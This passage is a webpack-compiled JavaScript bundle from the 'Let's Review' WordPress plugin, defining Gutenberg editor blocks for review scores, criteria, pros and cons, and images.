File: /var/www/html/somonline.org/wp-content/plugins/lets-review/admin/blocks/dist/blocks.build.js
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ return installedModules[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ i: moduleId,
/******/ l: false,
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Flag the module as loaded
/******/ module.l = true;
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/******/
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/
/******/ // define getter function for harmony exports
/******/ __webpack_require__.d = function(exports, name, getter) {
/******/ if(!__webpack_require__.o(exports, name)) {
/******/ Object.defineProperty(exports, name, {
/******/ configurable: false,
/******/ enumerable: true,
/******/ get: getter
/******/ });
/******/ }
/******/ };
/******/
/******/ // getDefaultExport function for compatibility with non-harmony modules
/******/ __webpack_require__.n = function(module) {
/******/ var getter = module && module.__esModule ?
/******/ function getDefault() { return module['default']; } :
/******/ function getModuleExports() { return module; };
/******/ __webpack_require__.d(getter, 'a', getter);
/******/ return getter;
/******/ };
/******/
/******/ // Object.prototype.hasOwnProperty.call
/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/
/******/ // Load entry module and return exports
/******/ return __webpack_require__(__webpack_require__.s = 1);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/*!*****************************!*\
!*** external "wp.element" ***!
\*****************************/
/*! dynamic exports provided */
/*! exports used: Component, Fragment */
/***/ (function(module, exports) {
module.exports = wp.element;
/***/ }),
/* 1 */
/*!***********************!*\
!*** ./src/blocks.js ***!
\***********************/
/*! no exports provided */
/*! all exports used */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
eval("Object.defineProperty(__webpack_exports__, \"__esModule\", { value: true });\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__styles_style_scss__ = __webpack_require__(/*! ./styles/style.scss */ 2);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__styles_style_scss___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0__styles_style_scss__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__styles_editor_scss__ = __webpack_require__(/*! ./styles/editor.scss */ 3);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__styles_editor_scss___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1__styles_editor_scss__);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__block_review_box_js__ = __webpack_require__(/*! ./block/review-box.js */ 4);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__block_visitor_ratings_js__ = __webpack_require__(/*! ./block/visitor-ratings.js */ 5);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__block_comment_averages_js__ = __webpack_require__(/*! ./block/comment-averages.js */ 6);\n\n\n\n\n//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiMS5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9ibG9ja3MuanM/N2I1YiJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgJy4vc3R5bGVzL3N0eWxlLnNjc3MnO1xuaW1wb3J0ICcuL3N0eWxlcy9lZGl0b3Iuc2Nzcyc7XG5pbXBvcnQgJy4vYmxvY2svcmV2aWV3LWJveC5qcyc7XG5pbXBvcnQgJy4vYmxvY2svdmlzaXRvci1yYXRpbmdzLmpzJztcbmltcG9ydCAnLi9ibG9jay9jb21tZW50LWF2ZXJhZ2VzLmpzJztcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL3NyYy9ibG9ja3MuanNcbi8vIG1vZHVsZSBpZCA9IDFcbi8vIG1vZHVsZSBjaHVua3MgPSAwIl0sIm1hcHBpbmdzIjoiQUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFDQTtBQUNBO0FBQ0E7Iiwic291cmNlUm9vdCI6IiJ9\n//# sourceURL=webpack-internal:///1\n");
/***/ }),
/* 2 */
/*!*******************************!*\
!*** ./src/styles/style.scss ***!
\*******************************/
/*! dynamic exports provided */
/***/ (function(module, exports) {
eval("// removed by extract-text-webpack-plugin//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiMi5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9zdHlsZXMvc3R5bGUuc2Nzcz83ZWE3Il0sInNvdXJjZXNDb250ZW50IjpbIi8vIHJlbW92ZWQgYnkgZXh0cmFjdC10ZXh0LXdlYnBhY2stcGx1Z2luXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9zcmMvc3R5bGVzL3N0eWxlLnNjc3Ncbi8vIG1vZHVsZSBpZCA9IDJcbi8vIG1vZHVsZSBjaHVua3MgPSAwIl0sIm1hcHBpbmdzIjoiQUFBQSIsInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///2\n");
/***/ }),
/* 3 */
/*!********************************!*\
!*** ./src/styles/editor.scss ***!
\********************************/
/*! dynamic exports provided */
/***/ (function(module, exports) {
eval("// removed by extract-text-webpack-plugin//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiMy5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9zdHlsZXMvZWRpdG9yLnNjc3M/MGY0MiJdLCJzb3VyY2VzQ29udGVudCI6WyIvLyByZW1vdmVkIGJ5IGV4dHJhY3QtdGV4dC13ZWJwYWNrLXBsdWdpblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vc3JjL3N0eWxlcy9lZGl0b3Iuc2Nzc1xuLy8gbW9kdWxlIGlkID0gM1xuLy8gbW9kdWxlIGNodW5rcyA9IDAiXSwibWFwcGluZ3MiOiJBQUFBIiwic291cmNlUm9vdCI6IiJ9\n//# sourceURL=webpack-internal:///3\n");
/***/ }),
/* 4 */
/*!*********************************!*\
!*** ./src/block/review-box.js ***!
\*********************************/
/*! no exports provided */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
eval("/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__wordpress_element__ = __webpack_require__(/*! @wordpress/element */ 0);\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__wordpress_element___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0__wordpress_element__);\nvar _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();\n\nfunction _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\n/**\n * BLOCK: Review Block\n */\nvar __ = wp.i18n.__;\nvar registerBlockType = wp.blocks.registerBlockType;\n\nvar el = wp.element.createElement;\n\nvar _wp$editor = wp.editor,\n RichText = _wp$editor.RichText,\n InspectorControls = _wp$editor.InspectorControls,\n MediaUpload = _wp$editor.MediaUpload,\n MediaUploadCheck = _wp$editor.MediaUploadCheck,\n BlockControls = _wp$editor.BlockControls,\n PanelColorSettings = _wp$editor.PanelColorSettings,\n BlockAlignmentToolbar = _wp$editor.BlockAlignmentToolbar;\nvar _wp$components = wp.components,\n SelectControl = _wp$components.SelectControl,\n ToggleControl = _wp$components.ToggleControl,\n TextControl = _wp$components.TextControl,\n Button = _wp$components.Button,\n PanelBody = _wp$components.PanelBody;\n\n\nvar iconEl = el('svg', { width: 20, height: 20 }, el('path', { d: \"M19,0 C19.5522847,-1.01453063e-16 20,0.44771525 20,1 L20,19 C20,19.5522847 19.5522847,20 19,20 L1,20 C0.44771525,20 6.76353751e-17,19.5522847 0,19 L0,1 C-6.76353751e-17,0.44771525 0.44771525,1.01453063e-16 1,0 L19,0 Z M18,2 L2,2 L2,18 L18,18 L18,2 Z M10,5 L11.4694631,7.97745751 L14.7552826,8.45491503 L12.3776413,10.7725425 L12.9389263,14.045085 L10,12.5 L7.06107374,14.045085 L7.62235871,10.7725425 L5.24471742,8.45491503 L8.53053687,7.97745751 L10,5 Z\" }));\n\nvar letsReviewBox = function (_Component) {\n\t_inherits(letsReviewBox, _Component);\n\n\tfunction letsReviewBox() {\n\t\t_classCallCheck(this, letsReviewBox);\n\n\t\treturn _possibleConstructorReturn(this, (letsReviewBox.__proto__ || Object.getPrototypeOf(letsReviewBox)).apply(this, arguments));\n\t}\n\n\t_createClass(letsReviewBox, [{\n\t\tkey: 'componentDidMount',\n\t\tvalue: function componentDidMount() {\n\t\t\tvar _props = this.props,\n\t\t\t setAttributes = _props.setAttributes,\n\t\t\t attributes = _props.attributes;\n\n\t\t\tif (attributes.uid === 123) {\n\t\t\t\tsetAttributes({\n\t\t\t\t\tuid: Math.floor(Math.random() * (999999 - 100000 + 1) + 100000)\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t}, {\n\t\tkey: 'render',\n\t\tvalue: function render() {\n\t\t\tvar _this2 = this;\n\n\t\t\tvar _props2 = this.props,\n\t\t\t setAttributes = _props2.setAttributes,\n\t\t\t attributes = _props2.attributes;\n\n\n\t\t\tfunction blockAdder(type) {\n\t\t\t\tvar blocks = void 0;\n\t\t\t\tblocks = JSON.parse(JSON.stringify(attributes[type]));\n\t\t\t\tif (type === 'crits') {\n\t\t\t\t\tblocks.push({ outof5: '0', outof10: '0', outof100: '0', title: '' });\n\t\t\t\t} else {\n\t\t\t\t\tblocks.push({ content: '' });\n\t\t\t\t}\n\t\t\t\tsetAttributes(_defineProperty({}, type, blocks));\n\t\t\t}\n\n\t\t\tfunction critStyles(value) {\n\t\t\t\tvar output = 'lets-review-block__crit with--remover';\n\t\t\t\tif (6 == design) {\n\t\t\t\t\tif (value < 34) {\n\t\t\t\t\t\toutput += ' level-1';\n\t\t\t\t\t} else if (value < 75) {\n\t\t\t\t\t\toutput += ' level-5';\n\t\t\t\t\t} else {\n\t\t\t\t\t\toutput += ' level-10';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn output;\n\t\t\t}\n\n\t\t\tfunction scoreSetter(type, max, value) {\n\t\t\t\tif (value > max) {\n\t\t\t\t\tvalue = max;\n\t\t\t\t} else if (value < 0) {\n\t\t\t\t\tvalue = '0';\n\t\t\t\t}\n\t\t\t\tvar outof100, outof10, outof5;\n\t\t\t\tif (parseInt(attributes.scoreType) === 1) {\n\t\t\t\t\toutof5 = value / 20;\n\t\t\t\t\toutof10 = value / 10;\n\t\t\t\t\toutof100 = value;\n\t\t\t\t} else if (parseInt(attributes.scoreType) === 2) {\n\t\t\t\t\toutof5 = value / 2;\n\t\t\t\t\toutof10 = value;\n\t\t\t\t\toutof100 = value * 10;\n\t\t\t\t} else {\n\t\t\t\t\toutof5 = value;\n\t\t\t\t\toutof10 = value * 2;\n\t\t\t\t\toutof100 = value * 20;\n\t\t\t\t}\n\n\t\t\t\tvar score = {\n\t\t\t\t\toutof5: outof5,\n\t\t\t\t\toutof10: outof10,\n\t\t\t\t\toutof100: Math.round(outof100)\n\t\t\t\t};\n\t\t\t\tsetAttributes({\n\t\t\t\t\tscore: score\n\t\t\t\t});\n\t\t\t}\n\t\t\tfunction blockEditor(index, type, key, max, value) {\n\t\t\t\tvar blocks = JSON.parse(JSON.stringify(attributes[type]));\n\t\t\t\tif (type === 'crits' && key.startsWith('outof')) {\n\t\t\t\t\tif (value > max) {\n\t\t\t\t\t\tvalue = max;\n\t\t\t\t\t} else if (value < 0) {\n\t\t\t\t\t\tvalue = '0';\n\t\t\t\t\t}\n\t\t\t\t\tvar outof100, outof10, outof5;\n\t\t\t\t\tif (parseInt(attributes.scoreType) === 1) {\n\t\t\t\t\t\toutof5 = value / 20;\n\t\t\t\t\t\toutof10 = value / 10;\n\t\t\t\t\t\toutof100 = value;\n\t\t\t\t\t} else if (parseInt(attributes.scoreType) === 2) {\n\t\t\t\t\t\toutof5 = value / 2;\n\t\t\t\t\t\toutof10 = value;\n\t\t\t\t\t\toutof100 = value * 10;\n\t\t\t\t\t} else {\n\t\t\t\t\t\toutof5 = value;\n\t\t\t\t\t\toutof10 = value * 2;\n\t\t\t\t\t\toutof100 = value * 20;\n\t\t\t\t\t}\n\n\t\t\t\t\tblocks[index]['outof5'] = outof5;\n\t\t\t\t\tblocks[index]['outof10'] = outof10;\n\t\t\t\t\tblocks[index]['outof100'] = Math.round(outof100);\n\t\t\t\t} else {\n\t\t\t\t\tblocks[index][key] = value;\n\t\t\t\t}\n\t\t\t\tsetAttributes(_defineProperty({}, type, blocks));\n\t\t\t\tif (type === 'crits' && key.startsWith('outof')) {\n\t\t\t\t\tvar _outof = 0;\n\t\t\t\t\tfor (var i = blocks.length - 1; i >= 0; i--) {\n\t\t\t\t\t\t_outof += Number(blocks[i]['outof100']);\n\t\t\t\t\t}\n\t\t\t\t\t_outof = _outof / blocks.length;\n\t\t\t\t\tvar score = {\n\t\t\t\t\t\toutof5: Math.round(_outof) / 20,\n\t\t\t\t\t\toutof10: Math.round(_outof) / 10,\n\t\t\t\t\t\toutof100: Math.round(_outof)\n\t\t\t\t\t};\n\t\t\t\t\tsetAttributes({\n\t\t\t\t\t\tscore: score\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfunction blockRemover(type, index) {\n\t\t\t\tvar r = confirm(__('Are you sure you want to delete this?'));\n\t\t\t\tif (r === true) {\n\t\t\t\t\tvar blocks = JSON.parse(JSON.stringify(attributes[type]));\n\t\t\t\t\tblocks.splice(index, 1);\n\t\t\t\t\tsetAttributes(_defineProperty({}, type, blocks));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfunction onScoreType(value) {\n\t\t\t\tsetAttributes({ scoreType: value });\n\t\t\t\tvar blocks = JSON.parse(JSON.stringify(attributes['crits']));\n\t\t\t\tsetAttributes({\n\t\t\t\t\t'crits': blocks\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tfunction onDesign(scoreType, value) {\n\t\t\t\tif (parseInt(value) === 6 && scoreType > 2) {\n\t\t\t\t\tsetAttributes({ scoreType: 1 });\n\t\t\t\t}\n\t\t\t\tsetAttributes({ design: value });\n\t\t\t}\n\n\t\t\tfunction onImageSelect(attr, imageObject) {\n\t\t\t\tvar _setAttributes4;\n\n\t\t\t\tvar thumb;\n\t\t\t\tif (typeof imageObject.sizes.medium !== 'undefined' && imageObject.sizes.medium.width > 0) {\n\t\t\t\t\tthumb = imageObject.sizes.medium.url;\n\t\t\t\t} else if (typeof imageObject.sizes.full !== 'undefined' && imageObject.sizes.full.width > 0) {\n\t\t\t\t\tthumb = imageObject.sizes.full.url;\n\t\t\t\t} else if (typeof imageObject.sizes.thumbnail !== 'undefined' && imageObject.sizes.thumbnail.width > 0) {\n\t\t\t\t\tthumb = imageObject.sizes.thumbnail.url;\n\t\t\t\t}\n\t\t\t\tif (attr === 'bg') {\n\t\t\t\t\tthumb = imageObject.sizes.full.url;\n\t\t\t\t}\n\t\t\t\tsetAttributes((_setAttributes4 = {}, _defineProperty(_setAttributes4, attr + 'ID', imageObject.id), _defineProperty(_setAttributes4, attr + 'Thumb', thumb), _setAttributes4));\n\t\t\t}\n\t\t\tfunction onRemoveGallery(value) {}\n\t\t\tfunction onGallerySelect(prop, value) {\n\t\t\t\tvar output = [];\n\t\t\t\tfor (var i = value.length - 1; i >= 0; i--) {\n\t\t\t\t\tvar thumb = value[i].sizes.full.url;\n\t\t\t\t\tif (typeof value[i].sizes.medium !== 'undefined' && value[i].sizes.medium.width > 0) {\n\t\t\t\t\t\tthumb = value[i].sizes.medium.url;\n\t\t\t\t\t} else if (typeof value[i].sizes.full !== 'undefined' && value[i].sizes.full.width > 0) {\n\t\t\t\t\t\tthumb = value[i].sizes.full.url;\n\t\t\t\t\t} else if (typeof value[i].sizes.thumbnail !== 'undefined' && value[i].sizes.thumbnail.width > 0) {\n\t\t\t\t\t\tthumb = value[i].sizes.thumbnail.url;\n\t\t\t\t\t}\n\t\t\t\t\toutput.push({ 'id': value[i]['id'], 'thumb': thumb });\n\t\t\t\t}\n\t\t\t\tsetAttributes(_defineProperty({}, prop, output));\n\t\t\t}\n\n\t\t\tvar critsOn = true,\n\t\t\t bgImgOn = false,\n\t\t\t barsAniOn = true,\n\t\t\t skin = parseInt(attributes.skin),\n\t\t\t scoreType = parseInt(attributes.scoreType),\n\t\t\t scoreOverlayWrapClass = scoreType < 3 ? 'score-overlay-wrap score-overlay-wrap__bar' : 'score-overlay-wrap score-overlay-wrap__icon',\n\t\t\t scoreTypeOptions = [{ label: __('Percentage'), value: '1' }, { label: __('Points'), value: '2' }],\n\t\t\t design = parseInt(attributes.design);\n\n\t\t\tif (design != 6) {\n\t\t\t\tscoreTypeOptions.push({ label: __('Stars'), value: '3' });\n\t\t\t\tscoreTypeOptions.push({ label: __('HTML/SVG Icons'), value: '4' });\n\t\t\t\tscoreTypeOptions.push({ label: __('Image'), value: '5' });\n\t\t\t}\n\t\t\tif (design === 3 || design === 4) {\n\t\t\t\tbgImgOn = true;\n\t\t\t\tbarsAniOn = false;\n\t\t\t}\n\n\t\t\tif (design === 3 || design === 4 || design === 5) {\n\t\t\t\tcritsOn = false;\n\t\t\t}\n\t\t\tvar bgImagePlaceholder = __('Change Background Image');\n\t\t\tif (design === 6) {\n\t\t\t\tbgImagePlaceholder = __('Change Main Image');\n\t\t\t}\n\t\t\tvar positionClass = attributes.position;\n\t\t\tif (typeof positionClass === 'undefined') {\n\t\t\t\tpositionClass = 'center';\n\t\t\t}\n\n\t\t\tvar classes = 'wp-block-lets-review lets-review-block__wrap lr-cf';\n\t\t\tclasses += ' lets-review--' + positionClass;\n\t\t\tif (positionClass === 'left' || positionClass === 'right') {\n\t\t\t\tclasses += ' lets-review--side';\n\t\t\t}\n\t\t\tclasses += ' lets-review-skin-' + skin;\n\t\t\tclasses += ' lets-review-design-' + design;\n\t\t\tclasses += ' lets-review-ani-' + attributes.aniType;\n\t\t\tclasses += ' lets-review-score-type-' + scoreType;\n\t\t\tclasses += scoreType > 2 ? ' lets-review-score-type__icon' : 'lets-review-score-type__bar';\n\n\t\t\tif (!attributes.fiThumb) {\n\t\t\t\tclasses += ' no-fi';\n\t\t\t}\n\t\t\tvar styles = {},\n\t\t\t titleStyles = {},\n\t\t\t affStyles = {},\n\t\t\t scoreOverlayStyles = {};\n\n\t\t\tif (skin === 3) {\n\t\t\t\tstyles = {\n\t\t\t\t\tbackgroundColor: attributes.skinBG,\n\t\t\t\t\tcolor: attributes.skinText\n\t\t\t\t};\n\t\t\t\ttitleStyles = {\n\t\t\t\t\tcolor: attributes.skinTitles\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tif (scoreType > 2) {\n\t\t\t\tscoreOverlayStyles = {\n\t\t\t\t\tcolor: attributes.accent\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tif (design === 6) {\n\t\t\t\taffStyles = { background: attributes.accent };\n\t\t\t}\n\n\t\t\tvar max = 100,\n\t\t\t step = 1,\n\t\t\t scoreTypeProp = 'outof100';\n\t\t\tif (parseInt(attributes.scoreType) === 2) {\n\t\t\t\tmax = 10;\n\t\t\t\tstep = '.1';\n\t\t\t\tscoreTypeProp = 'outof10';\n\t\t\t} else if (parseInt(attributes.scoreType) > 2) {\n\t\t\t\tscoreTypeProp = 'outof5';\n\t\t\t\tstep = '.05';\n\t\t\t\tmax = 5;\n\t\t\t}\n\n\t\t\tvar alignmentTool = wp.element.createElement(\n\t\t\t\tBlockControls,\n\t\t\t\tnull,\n\t\t\t\twp.element.createElement(BlockAlignmentToolbar, {\n\t\t\t\t\tvalue: attributes.position,\n\t\t\t\t\tcontrols: ['left', 'center', 'right'],\n\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\treturn setAttributes({ position: value });\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t);\n\t\t\tvar fragmentConclusion = wp.element.createElement(\n\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\tnull,\n\t\t\t\twp.element.createElement(\n\t\t\t\t\t'div',\n\t\t\t\t\t{ className: 'lets-review-block lets-review-block__conclusion__wrap lets-review-block__pad' },\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'conclusion__title lets-review-block__title', style: titleStyles },\n\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\tmultiline: false,\n\t\t\t\t\t\t\tvalue: attributes.conclusionTitle,\n\t\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\t\treturn setAttributes({ conclusionTitle: value });\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tplaceholder: __('Title')\n\t\t\t\t\t\t})\n\t\t\t\t\t),\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'lets-review-block__conclusion' },\n\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\tmultiline: false,\n\t\t\t\t\t\t\tvalue: attributes.conclusion,\n\t\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\t\treturn setAttributes({ conclusion: value });\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tplaceholder: __('Conclusion...')\n\t\t\t\t\t\t})\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t);\n\t\t\tvar fragmentProsCons = wp.element.createElement(\n\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\tnull,\n\t\t\t\twp.element.createElement(\n\t\t\t\t\t'div',\n\t\t\t\t\t{ className: 'lets-review-block lets-review-block__proscons lets-review-block__pad' },\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'lets-review-block__pros' },\n\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t{ className: 'proscons__title lets-review-block__title', style: titleStyles },\n\t\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\t\tmultiline: false,\n\t\t\t\t\t\t\t\tvalue: attributes.prosTitle,\n\t\t\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\t\t\treturn setAttributes({ prosTitle: value });\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tplaceholder: __('Pro Title')\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t),\n\t\t\t\t\t\tattributes.pros.map(function (block, index) {\n\t\t\t\t\t\t\treturn wp.element.createElement(\n\t\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t\t{ className: 'lets-review-block__pro lets-review-block__procon with--remover' },\n\t\t\t\t\t\t\t\twp.element.createElement('div', { className: 'lets-review-remover', onClick: function onClick() {\n\t\t\t\t\t\t\t\t\t\treturn blockRemover('pros', index);\n\t\t\t\t\t\t\t\t\t} }),\n\t\t\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\t\t\tmultiline: false,\n\t\t\t\t\t\t\t\t\tvalue: block.title,\n\t\t\t\t\t\t\t\t\tonChange: blockEditor.bind(_this2, index, 'pros', 'title', ''),\n\t\t\t\t\t\t\t\t\tplaceholder: __('Enter Pro')\n\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}),\n\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t{ className: 'lets-review-block lets-review-adder-wrap' },\n\t\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t\t{ className: 'lets-review-adder lets-review-font', onClick: function onClick() {\n\t\t\t\t\t\t\t\t\t\treturn blockAdder('pros');\n\t\t\t\t\t\t\t\t\t} },\n\t\t\t\t\t\t\t\t__('Add Pro')\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t)\n\t\t\t\t\t),\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'lets-review-block__cons' },\n\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t{ className: 'conscons__title lets-review-block__title', style: titleStyles },\n\t\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\t\tmultiline: false,\n\t\t\t\t\t\t\t\tvalue: attributes.consTitle,\n\t\t\t\t\t\t\t\tonChange: function onChange(value) {\n\t\t\t\t\t\t\t\t\treturn setAttributes({ consTitle: value });\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\tplaceholder: __('Con Title')\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t),\n\t\t\t\t\t\tattributes.cons.map(function (block, index) {\n\t\t\t\t\t\t\treturn wp.element.createElement(\n\t\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t\t{ className: 'lets-review-block__con lets-review-block__procon with--remover' },\n\t\t\t\t\t\t\t\twp.element.createElement('div', { className: 'lets-review-remover', onClick: function onClick() {\n\t\t\t\t\t\t\t\t\t\treturn blockRemover('cons', index);\n\t\t\t\t\t\t\t\t\t} }),\n\t\t\t\t\t\t\t\twp.element.createElement(RichText, {\n\t\t\t\t\t\t\t\t\tmultiline: false,\n\t\t\t\t\t\t\t\t\tvalue: block.title,\n\t\t\t\t\t\t\t\t\tonChange: blockEditor.bind(_this2, index, 'cons', 'title', ''),\n\t\t\t\t\t\t\t\t\tplaceholder: __('Enter Con')\n\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}),\n\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t{ className: 'lets-review-block lets-review-adder-wrap' },\n\t\t\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t\t\t'div',\n\t\t\t\t\t\t\t\t{ className: 'lets-review-adder lets-review-font', onClick: function onClick() {\n\t\t\t\t\t\t\t\t\t\treturn blockAdder('cons');\n\t\t\t\t\t\t\t\t\t} },\n\t\t\t\t\t\t\t\t__('Add Con')\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t);\n\t\t\tvar fragmentImg = wp.element.createElement(\n\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\tnull,\n\t\t\t\tattributes.bgThumb && design === 6 ? wp.element.createElement(\n\t\t\t\t\t'div',\n\t\t\t\t\t{ className: 'lets-review-block lets-review-block__img' },\n\t\t\t\t\tattributes.bgThumb ? wp.element.createElement('img', { src: attributes.bgThumb }) : ''\n\t\t\t\t) : ''\n\t\t\t);\n\t\t\tvar fragmentBG = wp.element.createElement(\n\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\tnull,\n\t\t\t\tattributes.bgThumb && true === bgImgOn ? wp.element.createElement('div', { className: 'lets-review-block lets-review-block__bg', style: { backgroundImage: 'url(' + attributes.bgThumb + ')' } }) : ''\n\t\t\t);\n\n\t\t\tvar fragmentTitle = wp.element.createElement(\n\t\t\t\t__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Fragment\"],\n\t\t\t\tnull,\n\t\t\t\twp.element.createElement(\n\t\t\t\t\t'div',\n\t\t\t\t\t{ className: 'lets-review-block lets-review-block__main-title lr-vc lets-review-block__pad' },\n\t\t\t\t\twp.element.createElement(\n\t\t\t\t\t\t'div',\n\t\t\t\t\t\t{ className: 'lets-review-block__mask lr-vc with--remover' },\n\t\t\t\t\t\tattributes.fiThumb ? wp.element.createElement('img', { src: attributes.fiThumb }) : '',\n\t\t\t\t\t\tattributes.fiThumb ? wp.element.createElement('div', { className: 'lets-review-remover', 